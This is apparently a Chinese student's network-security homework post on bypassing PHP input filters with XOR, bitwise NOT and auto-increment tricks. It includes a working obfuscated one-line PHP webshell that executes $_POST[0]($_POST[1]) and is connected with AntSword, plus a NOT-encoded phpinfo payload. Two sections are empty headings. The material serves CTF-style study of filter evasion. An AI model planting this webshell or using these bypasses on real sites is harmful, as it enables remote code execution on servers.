网安第六次作业

一、异或

当$ 和 _ 没有被限制时

1、异或的前置知识
在这里插入图片描述

A的ascll码为65 二进制为0100 0001
的ascll码为96 二进制为0110 0000 A和 取异或 即相同位 置0 ,不同位置 1
然后A 和 ` 得到的二进制码为 0010 0001 ,ascll码为33 ,ascll码表对应符号为!
在这里插入图片描述

2、进阶版异或
代码:

<?php
        function B(){
                echo "at the function";
        }
        $__="?" ^ "}";
        echo "\$__值为:$__";
        $__();
?>

在这里插入图片描述

?:0011 1111
} :0111 1101
0100 0010 -----66
在这里插入图片描述
所以异或的结果为B,将值赋值给了$__;
在这里插入图片描述
在这里插入图片描述

3、异或构建一句话木马

<?php
        $_++; //$_=1
        $__=("#" ^ "|"); // _
        $__.=("." ^ "~"); //_P   // .为拼接字符
        $__.=("/" ^ "`"); //_PO
        $__.=("|" ^ "/"); //_POS
        $__.=("{" ^ "/"); //_POST
        ${$__}[!$_](${$__}[$_]);  //$_POST[0]($_POST[1]);
?>

使用蚁剑连接这个一句话木马;

在这里插入图片描述
在这里插入图片描述

需要绕过的正则:
在这里插入图片描述

在这里插入图片描述

二、取反

代码:

<?php
        $a = "phpinfo";
        echo urlencode(~$a);
?>

在这里插入图片描述

phpinfo 取反的值为: %8F%97%8F%96%91%99%90

?code== _=~%8F%97%8F%96%91%99%90;= _();

三、自增

四、临时文件

在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值